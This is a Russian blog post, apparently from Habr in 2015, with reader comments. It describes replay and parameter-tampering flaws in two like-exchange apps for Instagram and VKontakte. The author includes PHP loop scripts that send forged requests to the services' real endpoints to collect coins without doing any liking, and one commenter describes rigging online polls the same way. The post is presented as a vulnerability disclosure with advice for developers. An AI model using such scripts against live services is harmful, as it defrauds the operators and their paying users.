«Бесконечные» лайки в Instagram
Первое приложение, которое я скачал, называется «GetLikes».
Я запустил на компьютере Charles, чтобы отследить запросы приложения. Поставил лайк и приложение отправило интересный POST запрос, который я смог перехватить благодаря тому, что в этом приложение данные передавались по протоколу HTTP в незашифрованном виде.
hash — наш токен, который обновляется при авторизации в приложении;
media — номер изображения, которому мы поставили лайк;
answer — ответ от сервера instagram (поставили ли мы лайк или нет?).
Мне стало интересно, а что если отправить этот запрос несколько раз? Я отправил и… Эврика! Мой счёт пополнился на 1 монету, хотя я не ставил лайк.
Я написал маленький скрипт на php и попробовал накрутить 100 монет и они успешно были зачислены.
<?
function postData($url, $data){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
$out = curl_exec($curl);
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
curl_close($curl);
return $out;
}
$i = 0;
$hash = "ваш_хэш";
$media = "фотография_которую_вы_лайкнули";
while ($i < 100){
postData('http://www.multiliker.com/service/like2/', 'hash='.$hash.'&media='.$media.'&answer={"status":"ok"}');
$i++;
}
?>
PS: актуальная. Об уязвимости сообщил, но меня послали куда подальше и сказали, что у них безопасный сервис.
«Бесконечные» лайки во ВКонтакте
Вы наверняка слышали про такие сервисы как Likest, Turboliker и т.д. Я нашел приложение, которое также за выполнение заданий даёт монетки, которые можно потратить на получение лайков/репостов/подписчиков. Я проанализировал трафик, который отправляет приложение и опять нашёл очень интересную деталь (да, здесь тоже было незашифрованное подключение).
Рассмотрим параметры:
task_id — номер задания. (нужный нам параметр в дальнейшем);
user_id — id нашего аккаунта ВК;
cost — стоимость выполнения задания;
group_id — id группы, на которую подписались.
Естественно, я попробовал повторить этот запрос, но изменить параметр cost в большую сторону, но это ничего мне не дало. Тогда я вернул его к дефектному значению — 2. Затем я изменил параметр task_id. И что вы думаете? На мой счёт успешно зачислились заветные две монеты.
Я написал маленький скрипт и запустил.
<?
$i = 1;
$id = ваш_id;
while ($i < 100){
file_get_contents("http://anylike.ru/ios/tasks.update.1.7?task_id=".$i."&user_id=".$id."&cost=2&group_id=95172440");
$i++;
}
?>
Монеты успешно зачислились на мой счёт. Тут отдельно стоит поговорить о халатности сотрудников, работающих на этом сайте. На их сайте: anylike.ru был всего один контакт. Я обратился, описал уязвимость, но ответ меня очень удивил:
PS: на данный момент уязвимость исправлена.
Вывод
Что хочется сказать? Разработчики, шифруйте отправляемый трафик и все запросы, чтобы злоумышленники не могли получить доступ к приватным данным.
Комментарии (33)
impwx
25.06.2015 14:36+61Мы знаем обо всех багах, они не закрыты намеренно. Если бы мы не знали о них, мы бы не смогли так быстро их закрывать.
Что я только что прочитал?Assargin
25.06.2015 14:57+45А не все могут так быстро закрывать баги. Вернее, закрывать могут не только лишь все, а только те, о которых мы знаем. Мало, кто может это делать.
achekalin
25.06.2015 17:41+1Вы как руководитель выпускающей кафедры в моем ВУЗе сейчас написали. Он тоже такие телеги толкал, что, подозреваю, на ученых советах никто его не мог поймать на слове, боясь показаться идиотом, что ничего не понял в высокоумной беседе.
Уф, как в прошлое нырнул. Хорошо, что такие «ученые» беседы уже позади )))ange007
25.06.2015 18:20+4На самом деле было просто перефразировано высказывание нынешнего мэра Киева :)
www.youtube.com/watch?v=YSsKw8gRVlY
Rondo
25.06.2015 14:58+3Мы знаем обо всех багах, они не закрыты намеренно.
«баги почти пофикшены, идут последние интеграционные тесты»
Если бы мы не знали о них, мы бы не смогли так быстро их закрывать.
«на фикс таких багов уходит несколько недель, а так как мы его пофиксим завтра, это значит, что мы его уже несколько недель фиксим»
vedenin1980
25.06.2015 15:08Перевожу. Баги не закрыты намерено, чтобы некоторые товарищи (не будем показывать пальцем) писали вместо нас скрипты для кликанья рекламы и делали нам деньги, а мы будем белые и пушистые в случае чего.
impwx
25.06.2015 15:20+1Так вроде же наоборот, автор поста получил нечто вроде бесплатного купона на 100 лайков, не выполняя требуемой работы. Какая выгода от этого сайту-продавцу?
vedenin1980
25.06.2015 15:37-4Ну а в чем работа? Эти сервисы берут деньги за накрутку лайков, соответственно, если автору удалось накрутить лайки с помощью своего скрипта, он принес им такой же доход, как и обычный пользователь кликающий вручную. Если не удалось, то потом его забанят. Какие проблемы-то?
impwx
25.06.2015 16:05+5Если я правильно понимаю суть сервиса, то он предлагает реальным пользователям ставить лайки в обмен на «монетки», за которые можно потом заставить других пользователей поставить лайки тебе. Автор поста сфабриковал сообщения о том, что проделал некую работу, и получил за это вознаграждение, однако никаких лайков он на самом деле не ставил. Система осталась ему должна.
Представим, что администраторы не уследили и автор нагенерил бы таким образом не 100, а миллиард монет, и тут же их потратил. В таком случае он перехватит всю мощность сети и лайки будут выставляться исключительно ему, а честные пользователи останутся необслуженными. Какой из этого может быть профит системе?vedenin1980
25.06.2015 16:27-1Да, я уже понял, только вопрос именно в том что *ЕСЛИ* бы автор сумел нагенерить миллиард монет и главное суметь их все потратить, так чтобы его не забанили. С вероятностью близкой к единицы его забанят намного раньше, чем он что-то поимеет от этого.
Temirkhan
25.06.2015 19:11Если Вы перечитаете статью, то поймете сразу две вещи:
1) вы запомнили только заголовок статьи
2) на хабре нет способов для неправомерных действо — только информация о том, какими они бывают и как этого избежать
edogs
25.06.2015 20:56+5Представим, что администраторы не уследили и автор нагенерил бы таким образом не 100, а миллиард монет, и тут же их потратил. В таком случае он перехватит всю мощность сети и лайки будут выставляться исключительно ему, а честные пользователи останутся необслуженными. Какой из этого может быть профит системе?
Представить-то можно что угодно.
Скажем из своего опыта. Разрабатывали в чем-то аналогичный сервис (не лайки, но тоже социальные замуты). В ТЗ заказчика специально было прописано оставление нескольких дыр.
Аргументация была простая — не будет наживки — не будет рыбы. Тот с чьего аккаунта использовался баг — ставился на карандаш, отслеживались внимательно все остальные его действия. По мелочи даже реальные деньги выплачивались, если человек не слишком борзел с накрутками. В общем мелкие культурные читеры — пусть себе живут, лучше контроллировать процесс и иметь сбалансированную экосистему.
Потом правда создатели сервиса эти «дыры» стали продавать на всяких хакер.ру, из расчета что продадут дыру за 500 баксов, а накрутят по ней дай бог на 50 и потом бан накрутчику. Но это уже так, нюансы.
Archon
26.06.2015 08:55Нет, суть сервиса не совсем в этом. Система никому ничего никогда не должна. Это закрытая экономика, содержащая одинаковое количество «монет». Если кто-то вкладывает реальные деньги, количество монет в системе прибывает. Ну а дальше эти монеты просто перекидываются между теми, кому надо лайки, и теми, кому надо монеты.
Что получается, если мы покрутили себе монеты скриптом? У нас монет становится больше, у других участников — меньше. Предположим, что разработчики всё-таки не совсем идиоты, и как только мы попробуем разместить свой заказ, нас забанят, потому что мы крутили их скриптом, и общее количество монет в системе уменьшится. Ставка за один лайк фиксирована и дефляция цен невозможна, что при неизменном спросе означает, что рано или поздно произойдёт вливание новых монет за реальные деньги.
Вывод: такие дырки очень даже полезны, и являются механизмами регулирования экономики во имя профита владельцев сервиса.
nE0
25.06.2015 22:06Похоже это носит массовый характер.
Хоть никогда и не занимался подобным, успешно повторил на +GetsLikes+ на Андроид.
Вообще это отличный туториал!nE0
25.06.2015 23:20InstaLike для Андроид страдает от той же проблемы, только там стоит ограничение на 100 лайков в час со стороны сервера.
zoonman
26.06.2015 01:14Из правил оказания услуг разработчикам приложений Instagram:
You shall not: Participate in any «like», «share», «comment», or «follower» exchange programs.
На русском
Вы не должны участвовать в любых программах по обмену лайками, комментариями и т.п.
Т.е. во всех подобных приложениях идет прямое нарушение правил и они частенько банятся пачками.
Gordon01
26.06.2015 07:38а зачем скрипт на php? Charles отлично повторяет запросы сколько надо раз. Пользуюсь для накрутки голосований, часто они такие же дырявые. Раньше для накрутки приходилось использовать всякие баннерокликеры со списками проксей, щас же быдлокодеры вообще ничего не проверяют.
nsinreal
Эмм. Вы перехватываете траффик на локальном компьютере, а значит вы можете поставить поддельный SSL сертификат и все равно перехватывать траффик.
VasiliyIsaichkin
Ну со стороны клиента можно проверять отпечаток сертификата, можно использовать свое шифрование, много чего можно сделать.
bogus92
Или просто делать сервер более защищенным. Как не шифруй траффик — локально почти наверняка его можно будет расшифровать, поэтому такие проблемы однозначно должны решаться на сервере.
VasiliyIsaichkin
Что вы имеете в виду под «Или просто делать сервер более защищенным»?
Если грамотно использовать ассиметричное шифрование или готовую реализацию HTTPS/TLS с проверкой отпечатка сертификата сервера, перехватить ничего не получится, для расшифровки трафика у вас нет серверного ключа.
Другой вопрос что тогда можно раздербанить саму софтину, но тут уже другая история совсем.
bogus92
Я имею ввиду, что нельзя на сервере оставлять такие баги, уж тем более, когда о них разработчикам известно (по их словам). Да и даже, когда не известно — такие вещи еще при проектировании продумываются обычно.
vedenin1980
Это не баги, это фичи.
VasiliyIsaichkin
Это не является багом — все же работает, никаких ошибок нет. Это — уязвимость (в данном случае дизайна протокола связи)
Zibx
Это является багом. Нужно передавать токен задания и помечать его на сервере как выполненное. Тогда можно будет накрутить один лайк на одном задании. Выдачу заданий юзеру лимитировать по времени максимальной скорости лайканья. Это хотя бы. В идеале же — проверять что лайк действительно стоит, а только потом зачислять монетку.
andyN
Вероятно, человек имел в виду, что в его представлении «баг» — это ошибка, которая мешает обычным рядовым пользователям программы. Т.е. уязвимость != баг. Как-то так.
BeLove
Все получится, существуют разные способы обхода certificate / ssl pinning.
vedenin1980
Бессмысленно, главное правило: всегда строй работу сервера так что клиент уже взломан, разобран и изучен злоумышленником.
На самом деле, открою вам страшную тайну никто эту «уязвимость» закрывать не будет, потому что ваши скриптовые клики принесут им такой же доход как и обыкновенные, а потом когда у вас на счету накопиться достаточно средств, они тупо вас забанят за использование скриптов. В результате у них доход от рекламы, у вас дырка от бублика. А в случае жалоб рекламодателя, они сделают удивленные глаза и скажут это вон тот Вася виноват, мы ни причем и его уже забанили. Профит.
masterL
«потому что ваши скриптовые клики принесут им такой же доход как и обыкновенные»
Все же нет. Автор же не делает никаких скриптовых кликов — он на сервер программы отправляет данные «как-будто бы» он сделал клик, но не делает его.
CCgames
да, но у того человека, который создал задание деньги снимутся. вот и профит
masterL
Довольно странный профит — лайки заказаны, деньги сняты — но не поставлены, с таким же успехом сам разработчик приложения может снимать деньги у пользователей и ничего не делать.
stardust_kid
Звучит как бизнес-план.